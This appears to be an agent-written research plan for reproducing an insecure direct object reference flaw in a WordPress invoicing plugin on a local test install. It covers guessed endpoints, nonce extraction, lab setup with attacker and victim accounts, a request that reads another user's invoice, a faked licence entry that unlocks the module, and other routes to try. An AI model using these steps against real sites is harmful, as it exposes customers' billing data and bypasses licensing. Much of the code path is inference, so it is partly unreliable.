Research Plan: CVE-2026-8611 - IDOR in Klamra Paycal for Aspaclaria

1. Vulnerability Summary

The Klamra Paycal for Aspaclaria plugin (versions <= 1.1.4) is vulnerable to an Insecure Direct Object Reference (IDOR). The vulnerability exists because the plugin fails to perform adequate authorization checks when a user requests a customer invoice via the invoice_id parameter. While the system may check if a user is authenticated (Subscriber level or higher), it does not verify if the requesting user owns the invoice or has the necessary administrative privileges to view arbitrary invoices. This allows any authenticated user to enumerate sequential Post IDs and download sensitive billing PII belonging to other customers.

2. Attack Vector Analysis

• Endpoint: Likely wp-admin/admin-post.php (for downloads) or wp-admin/admin-ajax.php. Alternatively, it could be a custom handler on init.
• Action Name: Likely paycal_download_invoice or paycal_view_invoice (inferred from plugin naming conventions).
• Vulnerable Parameter: invoice_id (passed via GET or POST).
• Authentication: Required (Subscriber role is sufficient).
• Preconditions: The "Invoices" module must be active (controllable via licensing, but often bypassable or active in test environments).

3. Code Flow (Inferred)

1. Entry Point: An authenticated user sends a request to a handler (e.g., admin-post.php?action=paycal_download_invoice&invoice_id=123).
2. Authorization Check: The plugin calls a check like is_user_logged_in() or Access::enforce('invoices').
3. Vulnerable Logic:
   • The handler retrieves the invoice_id from $_GET or $_POST.
   • It fetches the invoice object (likely a Custom Post Type) using get_post($invoice_id).
   • Crucial Missing Step: The code fails to compare the invoice's owner (e.g., post_author or a specific meta field like _customer_user) with the current user's ID (get_current_user_id()).
4. Sink: The plugin outputs the invoice data (PII, order totals, etc.) to the browser.

4. Nonce Acquisition Strategy

Based on the description of "enumeration," it is highly probable that the endpoint either lacks a nonce check or uses a generic nonce available to all logged-in users.

If a nonce is required:

1. Identify the Source: Search for where the plugin localizes script data for invoices.
   • grep -r "wp_localize_script" .
2. Localized Variable: Look for keys like paycal_invoice_vars or paycal_admin.
3. Acquisition:
   • Create a page with a PayCal shortcode if necessary: wp post create --post_type=page --post_status=publish --post_content='[paycal_invoices]'
   • Navigate to the dashboard or the created page as a Subscriber.
   • Use browser_eval to extract the nonce: window.paycal_vars?.download_nonce.

5. Exploitation Strategy

Step 1: Discover the Endpoint and CPT

First, identify the exact action name and the Custom Post Type (CPT) name for invoices.

# Find the CPT name
grep -r "register_post_type" .
# Find the handler for invoice_id
grep -r "invoice_id" .

Step 2: Test Data Setup

Create two users and an invoice belonging to the admin.

# Create a Subscriber (Attacker)
wp user create attacker attacker@example.com --role=subscriber --user_pass=password

# Create an Admin (Victim)
wp user create victim victim@example.com --role=administrator --user_pass=password

# Create a dummy "Invoice" post (assuming CPT is 'paycal_invoice')
# If the CPT name differs, adjust accordingly.
INVOICE_ID=$(wp post create --post_type=paycal_invoice --post_title="Victim Invoice #1001" --post_author=$(wp user get victim --field=ID) --porcelain)

# Add dummy PII to the invoice meta
wp post meta add $INVOICE_ID "_billing_first_name" "John"
wp post meta add $INVOICE_ID "_billing_last_name" "Doe"
wp post meta add $INVOICE_ID "_billing_email" "john.doe@private.com"

Step 3: Execute IDOR Attack

Using the http_request tool, log in as the Subscriber and attempt to access the Admin's invoice.

Action (Inferred): paycal_download_invoice
Request:

GET /wp-admin/admin-post.php?action=paycal_download_invoice&invoice_id=[INVOICE_ID] HTTP/1.1
Host: localhost:8080
Cookie: [Subscriber Cookies]

6. Test Data Setup (Detailed)

1. Plugin Activation: Ensure the plugin is active.
2. Licensing Gate: If Gate::has('invoices') returns false, the UI might be blocked, but the admin-post handler might still execute. If necessary, mock the license:

   wp option update paycal_license_data '{"valid":true,"modules":["invoices"],"expires_at":"2030-01-01"}'
   

3. Target Content: Ensure the paycal_invoice (or correct CPT) exists with an ID identifiable via WP-CLI.

7. Expected Results

• Successful Exploitation: The server returns a 200 OK response containing the details of the invoice created by the Admin (John Doe, email, etc.), despite the request being made by a Subscriber.
• Vulnerability Confirmation: The response content matches the PII stored in the victim invoice.

8. Verification Steps

1. Check the response body of the http_request for the strings: "John", "Doe", and "john.doe@private.com".
2. Verify the ID of the invoice being viewed belongs to the Admin user:

   wp post get [INVOICE_ID] --field=post_author
   # Confirm this ID matches the Victim user ID, not the Attacker user ID.
   

9. Alternative Approaches

• AJAX Endpoint: If admin-post.php is not the target, check wp-admin/admin-ajax.php?action=paycal_get_invoice_data&invoice_id=[ID].
• Rest API: Check if the plugin registers a REST route in includes/Admin/class-rest.php (if exists) via register_rest_route.
• Shortcode IDOR: Check if a shortcode like [paycal_invoice id="123"] renders private info on the frontend when accessed by a subscriber.